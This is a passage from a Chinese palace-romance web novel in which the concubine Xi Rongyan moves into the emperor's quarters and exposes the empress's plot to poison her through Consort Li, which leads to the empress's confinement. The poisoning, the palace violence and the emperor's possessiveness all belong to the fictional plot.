魏祁淡淡叹息:“朕与你说过,你只需要信朕便是。”
“朕总有顾不到你的时候,你待在明德殿,谁也不敢往那儿去。”
席容烟紧了紧手指,听出魏祁不容拒绝的声音,她听话的点头。
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到了第二日,席容烟就被催着搬去了明德殿。
看站在承乾宫内看着宫人忙碌的搬着她平日里会用到的东西,高公公立在她身边道:“皇上说东西搬过去可能会收拾会儿,让小的来请娘娘去宣政殿。”
席容烟点点头跟着高公公走出承乾宫,转身又看向前世里自己住了三年的宫殿,心中油然升起不知名的情绪。
这个地方,有她与魏祁的所有纠葛,她应该再也回不来了。
她又看两眼,转身跟着高公公离开。
宋贺兰站在远处,看着承乾宫内的宫人忙碌,眼底的寒光让站在旁边的丽妃都打了寒战。
齐妃早已褪去了从前对席容烟的不屑,低声喃喃道:“皇上的这份恩宠,我连做梦都不敢想。”
宋贺兰淡淡侧头看了一眼齐妃:“没什么不敢想的,这样的人能出几个?”
“这么大的福气,也不知道能不能承受得住。”
齐妃颤了一下看向皇后张了张口,到底一句话也不敢说。
她现在是当真不敢对席容烟有任何要加害的心思,皇上三番两次的这么护,惩治的也极骇人,她如今只想在宫里安稳下去了。
想席容烟当初没进宫时,后宫里的人虽然不多,但坐在一起也稍有些热闹,如今去长春宫里问安,坐着的也只有那两三个人,异常的冷清。
想起那出事的几个人的遭遇,她最近总是胆战心惊的。
宋贺兰又看一眼齐妃如今胆小怕事的样子,虽说有些瞧不上,但心底已经知道,这后宫里,席容烟这样的势头再下去,一旦她生下了皇子,太子必然是她的孩子。
就连她皇后的位置也岌岌可危。
手上捏的紧了紧,她又看了一眼丽妃转身。
丽妃看皇后看她,心里颤了一下,连忙跟在皇后的身后。
席容烟去宣政殿时,还在外头等了一会儿,等魏祁见完了大臣才走了进去。
她才刚进书房,魏祁就朝着她招手。
席容烟走过去,才发现魏祁的身边放了一把小椅子,对面的案几上空出一小片位置,放着一碟石榴还有一小碟乳酥糕,显然是为席容烟准备的。
席容烟被魏祁牵着坐在椅子上,接着一只修长的手就落到了面前:“听说多吃石榴会很快怀上身孕,烟儿多吃几颗。”
席容烟怔怔看了看魏祁手掌上剥好的石榴,还是伸手拿了一颗在手上,送去了唇边。
魏祁显然是不满意席容烟只吃一颗,他将手送到席容烟面前,晦涩的目光看着她:“烟儿,都吃了。”
席容烟心里愣了愣,看着魏祁手上剩下的,又低头吃了几颗。
魏祁看了看手上剩下了几粒,笑了笑,送入了自己唇中。
席容烟看魏祁又低头去看折子,好似并没有想多理会她,她看了一圈,又见着桌上还放了本杂记,像是特意为她准备的,又拿了过来翻看。
周遭都站着一脸严肃的内侍,席容烟坐了一会儿便不习惯,她看向魏祁:“要不臣妾去明德殿看看收拾的怎么样了吧。”
魏祁握住席容烟的手,头也没回:“等朕忙完了陪你一起去。”
席容烟看着魏祁有些严肃的侧脸,只好消了心思,老老实实又坐在魏祁的身边。
快中午时魏祁才忙完,牵着席容烟往明德殿走。
第140章 臣妾的心,本就是皇上的
去明德殿的时候,里头已经布置好了。
虽说依旧还是从前的那些置办,但多了些席容烟那儿的东西,好似又有些不一样。
架子上放了花瓶,插了花,角落处还有兰花盆景,还有一股香梨和佛手的清香,再往内殿走的寝房内,还多了一张女子的妆台,昭示着这里多了一个人。
魏祁打算让人将从前略微有些沉闷的帘子都换了,席容烟拦着道:“这些帘子颜色臣妾也喜欢,皇上留着吧。”
魏祁其实更担心的是席容烟不喜欢这里,勉为其难跟着他住在这儿,但听席容烟这么说,像是她喜欢这样的布置,心下也松了松,牵着她去用膳。
接着又抱着她去午睡。
大抵是因为换了张床榻,席容烟还有些睡不惯,在魏祁的怀里翻来覆去,难得的睡不着。
魏祁按着人的腰不让她乱动,又将人翻过来问:“睡不着?”
席容烟唔了一声,又问:“今年去避暑山庄么?”
往年这个时候都会去避暑山庄小住两月,但今年席容烟出了事,魏祁也没这个打算。
况且席容烟身上历来凉,前世他想带她去避暑山庄散散心,她也不愿去。
魏祁问:“你想去?”
因着如今炎热,席容烟身上穿着蚕丝薄衣,动静间衣襟口松散,露出一片白净的春色来,她毫不自知的往魏祁身上贴了贴:“臣妾待在宫里有些闷了。”
魏祁身上发紧,拥紧人,手指揉捏在席容烟后腰上,笑了笑:“烟儿要是想去,什么时候都可以。”
“即便是明日,朕也安排。”
席容烟想了想:“明日有些急了,过几日吧。”
魏祁笑了下:“你做主便是。”
席容烟又道:“皇上什么时候还带着臣妾出宫?”
“上回出宫臣妾也没与皇上呆多久,这回臣妾能与皇上出宫久一些么。”
魏祁深了眼眸:“烟儿还想与朕出宫?”
席容烟自然而然的点头:“皇上就如臣妾的夫君,但在宫内皇上是君,只有在宫外臣妾才觉得与皇上是夫妻。”
语声柔柔,听得魏祁深吸一口气,翻身压在席容烟身上,那双历来无情的眸子此刻充满灼灼的热意:“烟儿说的是真的?”
滚烫的热气全扑在席容烟的身上,烫热了她单薄衣料下的皮肤。
她心底还是有些不安的颤了颤,被魏祁灼热的眼神看的有些承受不住,却点头细声道:“臣妾说的自然是真的。”
“皇上待臣妾真心,臣妾也是。”
她话才刚说完,缠绵悱恻的吻便落下来,没有只带着占有的掠夺,只有动情后的温柔深吻。
那只大手反复摸索在席容烟的腰上,微微发紧,又松开。
面前又传来魏祁炙热沙哑的情话:“烟儿,朕是你的夫君,在朕心里,你与朕平起平坐。”
他握紧席容烟的手放在心口处,哑声道:“不管几世,朕都不会负你。”
席容烟被魏祁灼灼的眼神看得发烫,她张张唇,心里头竟对魏祁生了一丝不忍心。
竟对他产生了一丝怜悯。
可他是帝王,他可以用手段得到他想要得到的一切。
他可以任意摧毁他不情愿见到的东西,得不到就抢占。
他连一个孩子都不愿放过。
席容烟伸手,轻轻落到魏祁的脸庞上:“皇上,臣妾胆小,害怕见到血腥。”
“王修仪的死吓到了臣妾,皇上往后可以少杀生么。”
“可以别再杀无辜的人么。”
魏祁一顿,沉眸叹息一声:“烟儿,朕杀的都是碍事的人。”
“但烟儿害怕,朕都听烟儿的。”
说罢他伸手握着席容烟的手俯身下去,认真黑沉的眸子看着席容烟:“朕可以为烟儿改变,可以变成烟儿喜欢的样子。”
“但朕想要烟儿的一颗真心,想要烟儿对朕不离不弃,烟儿愿意么。”
席容烟抬眸:“臣妾的心,本就是皇上的。”
这话极取悦了早就动情的男人,他身体紧绷,下意识的喘息一声,又咬上席容烟白净的脖子,声音低哑:“这回可以换烟儿主动些么。”
“朕的身体给你,由烟儿支配好不好。”
席容烟被魏祁这暧昧孟浪的话烫的脸红,她颤了下,身上压着身体宽阔又高大,她其实不知道该怎么做。
即便她是为了稳住魏祁的猜疑和情绪,但太过猛浪的事情她也做不出来。
魏祁看微微抬头看着席容烟茫然害羞的眸子,笑了笑,牵着她的手十指紧扣,又咬着她耳垂,低低在她耳边说了一句话。
低低的闷哼声叫席容烟手指都发颤,偏偏魏祁低沉的催促:“烟儿……”
席容烟脑中一片空白。
偏偏那人又缠上来,眸子看着她:“烟儿,便当作骑马。”
她的身子被魏祁托着,身体早已经不能自己控制了。
床帐内的动静不知道什么时候才歇下去,外头的天色已经有暗下去的态势。
席容烟累的埋在魏祁的怀里,连眼皮都不愿掀开,眼角还残留着红晕。
魏祁笑着捏了捏席容烟的脸:“刚才喜欢么?”
席容烟不想去想那羞人恼人的一幕,翻过身去不愿看魏祁。
身后传来一声低笑声,那炙热的身躯附上来,贴在席容烟的后背上,软绵绵的手指也被魏祁捏在手中:“烟儿不喜欢?那下回换一个。”
席容烟一愣,又轻轻哼了一声,埋在枕间。
魏祁看席容烟不说话,自己当作她是害羞。
他微微撑起身,低头吻了吻席容烟裸露在外头的圆润肩膀:“在等七八日,那日朕不上朝,一整日陪你。”
“你想去哪儿,朕便带你去哪儿。”
席容烟只觉得肩膀上带着细密的痒,温热的呼吸从她皮肤渐渐往上,后背上的胸膛紧贴上来,那只手又攀上来,她一愣,捏在那只乱动的手掌上。
心里却扑通扑通的飞快的跳动着。
闭着眼睛,脑中思绪已经不知到了什么地方。
第141章 皇上在清理后宫罢了
第二日下午,席容烟才知道丽妃来找过她,但是被外头的太监给拦住了。
席容烟便起身带着宝珠出明德殿。
凌姑姑紧紧跟在身边问:“娘娘要去哪儿?”
席容烟侧头看向凌姑姑:“去散散心。”
凌姑姑本来想要劝一劝,但看席容烟已经拢着袖子走了出去,也不敢喊,只好跟在后面。
席容烟往御花园去。
御花园里恰好碰到了皇后还有齐妃丽妃坐在一起。
皇后显然也见着了席容烟,叫了身边的嬷嬷来请席容烟过去一起坐。
凌姑姑在旁边小声道:“娘娘要不想过去,奴婢过去与皇后娘娘说一声便是。”
席容烟想着,自己现在本就是要作出宠妃的势头来,不去便不去也没什么。
况且那里都是皇后的人,虽说不见得皇后敢这么明目张胆的下手,但皇后想让她死是真的,自己也还惜命,没必要过去。
她点点头,转头就往另一个方向走。
皇后脸色难看的看着席容烟的背影,又听着面前过来的凌姑姑不卑不亢的声音:“我家娘娘急着要去前头采莲花来,来不了皇后娘娘面前问候,特意叫奴婢过来问安和赔罪。”
宋贺兰静静看了眼此刻站在自己面前微微低着头的凌姑姑,依旧那副面无表情的样子。
凌姑姑之前是在宣政殿伺候的掌事姑姑,她曾经百般要拉拢她,想将她收拢为自己的人,但她油盐不进,明示暗示都没用。
直到她知道凌姑姑去做了席容烟身边的掌事姑姑后她才明白,不是因为她给的东西不够诱人,是凌姑姑是皇上的人,自己即便给她万两,凌姑姑也不敢。
现在再看凌姑姑站在自己面前的模样,又想起从前的事情来,只怕那时候皇上都已经知道了她的动作,依旧看着她如小丑一样上下打点拉拢他明德殿和宣政殿的人。
带给她一种无地自容的羞辱。
宋贺兰并不想再看见凌姑姑,摆摆手,一句话不说,就让凌姑姑退下去。
凌姑姑也不多话,仪态恭敬的退了下去。
齐妃看着席容烟快看不见的影的身形,又看向退到远处去的凌姑姑,忍不住开口:“宸妃如今连皇后娘娘都不放在眼里了。”
“刚才明明见到了皇后,居然也不过来问安。”
宋贺兰紧紧捏着手,又冷笑一声:“她有皇上宠着,本宫能拿她怎么办。”
齐妃看着皇后的神色,这会儿也不敢说话了。
甚至她忽然意识到,跟随皇后也不是什么明路。
她跟着皇后这两年,也从来没有依靠皇后得到过什么好处过。
皇后看似大度端庄,却极自私,皇上去皇后那里一回,皇后就会将她们都打发走,零星肉末也别想分到。
相反的,她讨好席容烟,说不定还能在皇上那里得个好,让皇上也偶尔注意一眼。
如今席容烟都住进了明德殿和皇上同住了,那尊荣背后是什么,她隐隐也能猜到,席家背后的家世也不比皇后的差,还有太后撑腰,将来真要做那个位置也不是不可能。
想到这里,她眼神微微瞟了一眼旁边坐着的低眉顺目的丽妃,冷笑一声。
这丽妃平日里看起来不言不语的,没想到私底下倒是机灵,居然早早的就去巴结席容烟了,她这是在为她找第二条路了。
自己也该动作起来。
这么一想,齐妃站起来,朝着皇后恭敬道:“嫔妾也坐了一会儿了,这会儿也走走散散心,嫔妾先告退。”
宋贺兰淡淡看着齐妃,眼里透出冷光,拿着茶盏,慢悠悠的冷笑:“想去找宸妃套近乎?”
说着她又冷哼一声:“谢才人还是她表姐,她是什么下场,我看你是不是也想要那样的下场了。“
齐妃一愣。
谢雨眠为什么是那样的下场,不都是皇后一手挑拨策划的么。
她现在只觉得皇后才是最可怕的。
况且现在皇上的种种作为,说明对大殿下根本不怎么上心了,她没必要还胆战心惊的陪在皇后的身边,到时候被连累。
再说了,丽妃早就去席容烟的面前安献殷勤了,难不成皇后还不知道?
她脸上僵硬的露出笑意:“皇后娘娘误会嫔妾了,嫔妾只是想随处走走。”
宋贺兰淡笑,看了一眼齐妃脸上的表情:“本宫不管你去哪儿,本宫只提醒你,当心两头不落好,船翻了。”
“皇上现在是宠宸妃,但本宫的父亲现在还在北地冲锋陷阵,皇上也关心北地战事。”
“本宫也还是皇后,也有皇上唯一的皇子,如果连本宫都失势了,你觉得你还能安安稳稳的留在宫里?”
说着宋贺兰冷笑一声:“上回那事,皇上处置了那么多人,你真以为是那么多人联手害宸妃的?”
“皇上不过借着那事清理后宫罢了。”
“皇上为了宸妃,要清理他后宫里的这些女人,要是本宫都不在了,齐妃,你到时候又算什么?不过皇上眼里的一粒灰尘粒罢了。”
“轻轻一吹,就烟消云散。”
齐妃的脸色僵硬住。
她上回就觉得奇怪,怎么可能会牵扯出这么多人。
要真是如皇后说的,皇后都能被处理了,那自己不是被处理的更容易。
她的心里慌了慌,却仍旧不可置信的看向皇后:“皇上即便再宠宸妃,又怎么可能为了宸妃不要后宫?”
“即便皇上真要这么做,那朝廷大臣们会答应?”
宋贺兰只是用看蠢货的一样的眼神看着齐妃。
这些女人从来都没有了解过皇上,就连她对皇上的了解也不敢保证是真的了解。
她们也都没有意识到皇上的冷酷无情。
皇上当初怎么登位,怎么囚禁其他皇子,她听父亲说起来都觉得吓人。
一旦皇上要做的事情,是从来都不会看别人的脸色的。
宋贺兰看着齐妃,冷笑:“有些事情,本宫点过你,信不信由你。”
“本宫在一天,你门还能安安稳稳的留在后宫,本宫不在了,自己自求多福吧。”
说着宋贺兰摆摆手,冷淡的看了齐妃一眼:“走吧。”
齐妃信心下惶然,看着皇后的脸色,想了想依旧退了出去。
不管怎么说,先笼络席容烟总没有坏处的。
皇后只是看了一眼齐妃走去的方向,淡淡冷笑,又收回了眼神。
她知道,自己现在在后宫里已经连最基本的人心都失去了。
皇上在一点一点剥夺她从前的尊荣,最后让她变得一文不值。
可是她又怎么甘心。
第142章 你想出宫么?
丽妃刚才一直在旁边静静听着皇后和齐妃的话。
在听到皇后说起王修仪那件事情时,心里还是不可避免的发紧。
她不想离开后宫。
她的女儿还在后宫里,她唯一舍不得的是她的女儿。
皇后历来淡淡的声音又响在她面前:“丽妃,刚才我说给齐妃的话也是说给你的。”
“皇上处置你,比处置了齐妃还要简单。”
“你知道王修仪那事的,皇上也定然不是糊涂要牵扯那么多无辜的人。”
“你想想玉婉,她要是没了母妃在身边,往后会吃什么苦?”
“就算玉婉后来养在席容烟名下,毕竟不是自己亲生的,她将来也定然有自己的孩子,你觉得她对玉婉上心几分?”
说罢她又叹息:“爹不疼娘不在孩子,也是可怜啊。”
丽妃颤了颤。
她忙站起来走到皇后的面前小声道:“皇后娘娘提醒嫔妾的话,嫔妾都记住了。”
“宸妃如今住进了明德殿,嫔妾昨日去找她两回都被拦了下来,现在嫔妾先去找宸妃说话。”
宋贺兰抬头看着丽妃这副依旧唯唯诺诺的样子十分满意。
这丽妃别的本事没有,但对孩子倒是真心的疼,轻易就能捏住她的软肋。
她满意的笑了笑,让丽妃过去就是。
俞嬷嬷等丽妃走远了,不由站到宋贺兰的身边小声道:“老奴瞧丽妃娘娘那胆小怕事的样子,会不会误了事?”
“万一被发现了,岂不是牵扯出娘娘了?”
“上回的事情,皇上可是牵连了好多人。”
宋贺兰垂下眼眸默默的饮了一口茶,低声道:“我给她的药,我虽给她说的是吃三回才会出事,其实那毒药仅仅吃下一点点就会很快喷血死去,大罗神仙也救不回来。”
“丽妃虽然胆小,但她为了孩子,为了她在忠靖侯府的大哥和妹妹,也不敢不从本宫。”
俞嬷嬷依旧担心:“老奴是怕丽妃娘娘在下药的时候被发现了,那就真的功亏一篑了。”
宋贺兰低头拨了拨指甲,又淡声道:“那毒染在茶叶上,她只需要事先将那茶叶藏在袖口,趁着给席容烟倒茶时将茶叶滑到茶盏里,席容烟仅仅只需一口,就立马死去。”
说着宋贺兰眼底露出阴冷的冷意来:“要是丽妃连这点事也办不好,那她也该死。”
“本宫用她女儿威胁她,她不敢供认出本宫。”
俞嬷嬷这才微微放心下来,但也隐隐担心,皇上钥匙彻查那药的话……
丽妃往刚才席容烟的方向去的时候,就看到齐妃正坐在席容烟的身边。
席容烟坐在石桌上摆弄着宫女摘来的荷花和莲蓬,齐妃就在一旁找话说。
想当初齐妃在她面前常说席容烟坏话,私下里称呼席容烟为狐狸精,这会儿看起来又这样殷勤,到底是人都是见风使舵的。
她远远看了下,又走了过去。
席容烟拿着剪刀对着荷花剪了剪,又插入到面前月白釉壁瓶里。
齐妃在一旁夸赞道:“没想到妹妹这么能干,我是比不上妹妹的。”
席容烟前世里对齐妃的了解并不多,她前世也并没有太多的心思去了解魏祁后宫里的女人。
她前世嫁给顾褞玉也并没有后宅女子共同侍夫的经历,她父亲也从来没有纳过妾室,尽管她并没有觉得她不会接受纳妾,但她心底深处也是隐隐向往自己父亲与母亲那般感情的。
她的二叔房里养了四五房小妾,院子里经常生事,争来斗去,她跟着母亲去看了几回,女子间那些手段她是也没想到那般阴毒的。
席容烟不了解前世的齐妃,但这一世的齐妃她是了解的,她的表姐心性渐渐变化,也是在齐妃的压迫下生出来的胜心。
如今齐妃见风使舵,又来她面前搭话,便是将所有人当作是傻子,随着她的心意被她随意揉捏。
席容烟只是笑了下,没有理会齐妃的话,又侧头看向过来的丽妃,轻轻喊到:“姐姐。”
齐妃看席容烟不怎么搭理她,反向是对着丽妃有些亲近,不由得脸色又僵硬起来。
丽妃走到席容烟另一边的石凳上坐下,又道:“妹妹好雅兴。”
席容烟笑:“不过无事消遣罢了。”
两人说话,好似全忘了另一边的齐妃。
齐妃自己也觉尴尬,又想起从前对席容烟的冷言冷语,这会儿又恨自己刚才为什么犯贱来热脸贴冷屁来。
她手指紧了又紧,却不敢如从前一样对着席容烟摆脸色,只是笑着说她有些事情,先走了。
皇后那头见到齐妃又灰溜溜的从席容烟那里离开,只是淡淡笑了下。
齐妃历来都蠢,倒是在她的意料之中在席容烟那里碰了壁,又叫俞嬷嬷去叫她过来。
这头丽妃微微有些紧张的看着席容烟,又从袖子里拿出一个荷包放到席容烟手上,小声道:“妹妹,都在这儿了。”
席容烟这趟出来就是为了等丽妃的。
她看了看手上的荷包,里头的东西并不沉,又看向丽妃:“皇后亲手给你的?”
丽妃摇头:“皇后娘娘让一个宫女放在一个地方,路过我身边的时候让我去一个地方拿。”
席容烟笑了下,皇后做的这么小心,不管成不成,都是在跟丽妃撇清关系。
是要将丽妃当作一颗随时可以推出去的棋子了。
席容烟看着丽妃又问:“你的家人还在忠靖侯府,你不怕?”
丽妃红了红眼眶,哑声道:“我只知道我怎么做都是死。”
“妹妹心善,或许能帮我一分,但皇后娘娘那里,是一条活路都不会留给我的。”
席容烟又看了看丽妃眼框上的红晕,默了默又问:“上回我问你的,你想好了么?”
丽妃抹了抹泪,哑声道:“我想留在宫里。”
“我想陪着玉婉。”
“要是没有玉婉,我一个人也活不下去的。”
席容烟顿了顿。
她这么问丽妃,只是害怕魏祁又如上一世那样做。
但若是她在魏祁面前离开,那他还会不会做那样的事情。
她不知道。
她只是轻声问丽妃:“你真的想好了?”
“你要是去宫外,我会叫人安顿好你的。”
丽妃依旧摇头:“我知道妹妹对我是好心,只是我离不得孩子。”
“不管留在宫里有怎样的凶险,只要能多陪玉婉一天,我便足够了。”
第143章 烟儿,你最近不听话
席容烟倒是明白一些玉婉对孩子的心情的。
她不能说什么。
她点点头,要说的话已经说完。
回去明德殿的时候,席容烟才刚跨进殿门就察觉到了一丝不一样。
守在门外的太监压低着头,里头的宫女也噤若寒蝉的站在角落处。
明德殿的布置本就冷硬,这般静悄悄的,更透出一股冷意。
席容烟很快就察觉到了魏祁应该在里面。
她往里面走,越往内便越感觉到了一股冷意,直到她看到坐在罗汉椅上的魏祁。
他身上换下龙袍,穿着紫色常衣,一只手搭在扶手上,中指上的孔雀石戒指忽明忽暗,一如魏祁正朝着她看来的忽明忽暗的眼睛。
情绪捉摸不透,但定然是不高兴的。
这样的神色席容烟在前世里见到过很多次,是他不高兴的前奏。
要是她再惹他生气,他便会发疯。
席容烟控制好自己的情绪,努力让自己脸上的情绪自然,走到魏祁的面前问:“皇上忙完了?”
魏祁抬起眼帘,复杂的眼神看在席容烟身上,又克制的唔了一声,并没有对席容烟显露出太多不悦的神情。
他拍拍身边的位置,让席容烟坐在身侧。
席容烟敛眉坐在了魏祁的身边。
她并没有紧紧贴着他坐,微微拉开了些距离,又侧身去为魏祁倒茶。
那只在她一坐下就缠在她腰上的手掌微微收紧,她的身子就紧挨在了魏祁的身边,手上的茶盏也跟着她的动作晃了晃,在她手背上留下了水痕。
旁边的宝珠忙过来帮席容烟擦了擦手。
席容烟重新斟了茶送到魏祁的面前:“皇上什么时候来的?”
魏祁低低看了眼席容烟手上的茶盏,又看向席容烟的眼睛。
那双茶色眼眸水润润的,他抿紧唇,没有去接茶盏,只是问她:“烟儿,你最近不听话。”
席容烟一愣,知道这茶魏祁是不会喝了。
她放了茶盏,委屈巴巴的朝着魏祁问:“皇上是说臣妾今日出去的事?”
魏祁看不得席容烟这副委屈的样子。
他全心全意为她,她却委屈。
就如前世他为她做的一切都是为她,她却说他冷血一样。
他让屋内伺候的全都退下去,又抱着人坐在腿上,漆黑的眸子看着她,眉间隐隐严肃:“朕与你说过,不要与丽妃来往,怎么不听话?”
“朕的园子是不能逛了?非要去那个园子里去?”
不管是前世还是现在,那个她记忆中的魏祁好似始终没变。
他从来都不曾对她真正放手过,时时刻刻让人看着她。
她忽然想起了这一世她刚进宫时的许多细节,她从前含元殿内伺候的宫人,对她虽然恭敬,但却从来没有在她近前亲近过,除了恭敬和听话,也没有别的表情。
就如前世他派在自己身边的人一样。
尽管席容烟知道魏祁不让自己见丽妃,大抵是为了护着她,但拉她进宫与那些女人共处一室的人,不是他么。
为什么又来责怪她不听话。
席容烟心绪波动,又知道自己并不能现在惹怒魏祁。
她想要走,便不能让他发现端倪。
席容烟努力稳住自己的情绪,轻声道:“臣妾不是笼中的鸟儿,臣妾想要出去走走也不行么?”
说着席容烟低头埋在魏祁的肩膀上,小声委屈道:“皇上做什么这么凶?刚才臣妾进来,都被皇上的表情吓到了。”
温热暖香的气息扑到脖子上,魏祁一顿。
前世的席容烟从来不曾有这样撒娇的时候,她撒娇起来,他完全招架不了。
又感觉到席容烟柔软的脸庞在他肩膀上蹭了蹭:“皇上这么凶臣妾,臣妾难道不伤心么。”
魏祁指尖动了动。
他忽然发觉,最近的席容烟好似总是对他撒娇亲呢。
虽说他并不讨厌,甚至于喜欢席容烟往他身上扑过来的感觉,但这并不是席容烟的性子,她这样做是在讨好他。
他伸手将人埋在他肩膀上的脸抬起来,又看着席容烟水眸,见着里头隐隐有湿润,尽管心头早软了,但面上的神情却依旧没有任何松动。
他皱眉看她:“烟儿,朕没有凶你。”
“朕只想让烟儿听话。”
只想让她听话。
前世也是一样,他总对她说要听话。
将她当做没有感情与想法的附属物,随着他的喜爱摆弄。
席容烟忽然想现在问魏祁:要是她不听话呢。
他还会喜欢她么。
但是话在唇边,她忽然不想问了。
她总之都要离开他,这些已经不重要了。
这后宫里听话的女人可以有很多,对他趋之若鹜,总之不会是她。
席容烟轻轻点头,语气里全然顺着他道:“臣妾往后都会听皇上的话的。”
尽管席容烟的声音与平日里并没有太大的区别,但魏祁还是敏锐的从席容烟的声音里听出一丝异样。
他叹息,捏着席容烟的下巴吻了一下:“烟儿,朕是为了你能好好的。”
“再等最多两月,朕就可以废去皇后了。”
“那时候后宫里再没有其他女人,你想要去哪儿,朕都不会怪你。”
“现在朕只是怕你再出上回一样的事情。”
席容烟垂着眼眸,又轻轻点头。
她从怀里将刚才丽妃给她的荷包拿出来,看向魏祁:“臣妾今日见到了丽妃,她来找臣妾说话,给了臣妾这个。”
说着席容烟将手上的荷包放到魏祁的手上:“丽妃说皇后娘娘用她在忠靖侯府的家里人威胁她,让她故意接近臣妾,然后伺机对臣妾下毒。”
“但是丽妃说她不敢这么做,今日便偷偷将毒药给到臣妾的手里,求臣妾庇护。”
说着席容烟抬头看向魏祁的神色:“其实上回丽妃在臣妾这里就说了这件事,这几次来见臣妾,是为了将皇后给她的东西拿来给臣妾。”
“臣妾出去也是为了见丽妃。”
席容烟知道魏祁这个人天生多疑,不会轻易信她的话。
所以她便将所有实话都说了出来,她的一举一动都在魏祁的眼里,隐瞒反而适得其反。
第144章 假死出宫
其实席容烟最开始的打算,是利用皇后害她的事情,顺势假死瞒过魏祁的。
皇后三番两次的害她,席容烟并不想关心她的处境,她要害自己性命也是真。
但是后来席容烟夜里想了一夜,要是她这么做了,依照魏祁的手段,必然要查到丽妃。
并且有魏祁时时看着,皇后不一定能对她真下得了手,她这两日想了想,还是打算用最保险的方法,连累最少的人。
她也不想将丽妃牵连进来。
前世有些妃嫔什么也没有做,就被魏祁赐了毒酒,这一世席容烟只想再不连累无辜的人。
她现在将这个荷包给魏祁,是为了保丽妃一命。
魏祁静静看了席容烟手上的荷包一眼。
今日席容烟出去做的所有事情,说的所有话他都知道。
包括丽妃给她的荷包。
席容烟并没有隐瞒他,没有隐瞒就是好事。
这些日他总觉得席容烟有一些不对,他算不上太了解席容烟,但也了解一些,
她是人人眼中端方的世家姑娘,在外自来重仪态规矩,即便在私下里,她也是异常规矩的。
在前世他打算强占她时,他曾让探子去看过她与顾韫玉两人到底是如何过的,感情是不是如外头传言的那般好。
最后传回来的消息算不得他想要听到的,但也绝不是他以为的那样。
那些探子传回来的席容烟和顾韫玉相处的画面,虽也能看出情投意合,但两人都极重规矩,即便夜里两人单独相处时,两人也没有什么太多亲密的动作。
日复一日,按部就班的。
曾让他误以为两人之间只是因着定亲才成婚,并没有多少喜欢。
所以他才会愈发生了占有的心思。
魏祁曾鄙夷。
他觉得喜欢一个人,身体是会克制不住想要向她靠近的。
是会忍不住将全部目光放在她的身上。
顾韫玉虽然喜欢席容烟,但是却极克制,大抵这就是席容烟喜欢他的原因。
谦谦温和的公子,如她喜欢的那般脾性。
魏祁知道席容烟应该是不擅长撒娇的性子,大抵又是前世里从未体会到过她的亲近,现在才会觉得那样异样。
他虽然不想怀疑席容烟,却更想要知道她一整日都做了什么。
魏祁从席容烟的手上将那只荷包拿在手里,捏了捏,看着席容烟:“里面是什么?"
席容烟便道:"丽妃说里面是泡了毒的茶叶,只要混在茶水中,轻易发现不了。"
"说是吃三回就救不回来了。"
魏祁侧头让人去叫太医来。
很快太医过来,拿过那荷包里的东西仔细查看,接着就神色惊恐的看向魏祁:“皇上,里面的毒是断肠草。”
“这种毒的毒性极大,没有颜色,但是有一股淡淡的香味,只要喝下去,那人必会腹痛难忍,接着就会断肠烧心,呕血而死。”
“身子弱的,不到一刻钟,就能要了人的命,且也极阴毒,根本无药可解。”
席容烟没想到皇后竟然对她用了这般毒的药。
又听那太医道:“这种毒极稀少,往往产自北地。”
魏祁抿唇,看了太医一眼,让他先退下去。
席容烟害怕的眼眶里盈了泪光,埋在魏祁的怀里:“这回要不是丽妃与臣妾说,臣妾哪天被皇后害了都不知道。”
“皇上,臣妾害怕。”
魏祁的脸色微微阴沉。
皇后背后的动作他了如指掌,更知道她托忠靖侯府送了一罐茶叶来,接着那茶叶就交到了丽妃手里。
虽说他知道这茶叶有毒,却没想是这样的剧毒。
看着怀里害怕含泪的人,魏祁生出一股愧疚来。
本来是想悄无声息处置了丽妃的,他并不想让席容烟害怕,偏偏席容烟总与丽妃接触,丽妃又将这件事说给了席容烟,让她害怕了。
他轻轻抚在席容烟的后背上,语气沙哑:“烟儿,不用害怕,朕会将皇后幽禁。”
“她不会再出现在你的面前了。”
“这宫里没有人能够害你。”
席容烟抬头看向魏祁:“皇上要幽禁皇后多久?”
魏祁低头对上席容烟的脸庞,心疼的抬手为她擦拭泪眼,叹息道:“烟儿,朕幽禁她,她便与废后无异,永远都不可能再出来了。”
“但是圣旨再等等,烟儿无需担心,朕都会处置好的。”
其实魏祁到底要怎么处置皇后,席容烟并不怎么关心,她只是觉得,皇后在背后做了这么多事情,总要尝到恶果的。
到了第二日夜里的时候,席容烟就听到了消息,长春宫的宫门闭上,大殿下住去了皇子所。
席容烟并没有去刻意的打听,她知晓这个,是因为大殿下跪在了明德殿前不停的磕头,太监怎么也拉不走。
又毕竟是皇上唯一的皇嗣,太监们也不敢下重手,也都束手无策。
离到现在,已经跪了一个多时辰了。
魏祁身上穿着寝衣,肩上披了件鹤衣,坐在书桌前,好似根本不关心外头大殿下还跪着。
夏日雨急,外头又下着雨,席容烟坐在魏祁的身边,看着昏黄烛火下魏祁那看不出任何情绪的脸庞,忍不住小声道:“皇上就打算这么让大殿下一直跪着么?”
席容烟的话落下后,魏祁隔了半晌才放下了手上书,静静的眼眸看着席容烟:“烟儿不用理会他。”
魏祁又握了握席容烟的手:“这件事你不用多问,朕去处置。”
魏祁这话一说完,就起身走了出去。
席容烟看着魏祁的背影,笔直又高大,却透出一股冷清清的无情。
她看着那背影消失在眼前,顿了一下,忽然想出去看看,只是步子才跨刚出屏风,她便听到外头低低的惊叫声,接着是魏祁冷清低怒的声音:“混账。”
“你母后犯了大错,你也跟着不分是非?还是你觉得朕不分是非。”
“你若再跪在这处,朕便将你废黜为庶人。”
魏祁那低怒的声音带着冰冷的情绪,无端让人胆寒,就连席容烟听了,也被吓得惊了惊。
即便那声音被大雨冲刷了一些,也依旧可怖。
脚下的步子却没有停,席容烟往殿外走,一侧头就看到跪在外头的大殿下小小的身子蜷缩在地上,唇边隐隐有血迹。
这一瞬间,席容烟的步子猛然顿住,怔怔的看着那一幕。
她没想到,魏祁对大殿下也这么残忍。
在她前世的记忆里,大殿下好似一直冷清沉默,但极聪慧,人人都夸奖他。
魏祁负着手,眉眼依旧冷酷,冷冷的看着魏恒被他踢了一脚,在听见了他的话后又咬着牙挣扎着起身。
他的这个儿子依旧还是没有变。
他想要的东西是权利,为了权利他可以隐忍。
他跪在这里是因为他母后能给他权利。
听到自己要将他废黜后,便作乖顺的听话。
第145章 烟儿,朕需要子嗣
魏祁心里头对这孩子有一口浊气。
要不是念着这个孩子是他的骨血,他恐怕容不得这孩子再出现在他面前。
前世这个他唯一的儿子,他在病榻上还没有咽气,他就已经开始在明德殿布置眼线和收买人心。
他想要他这个父皇早点去死。
甚至想往他每日服用的药汤里下药。
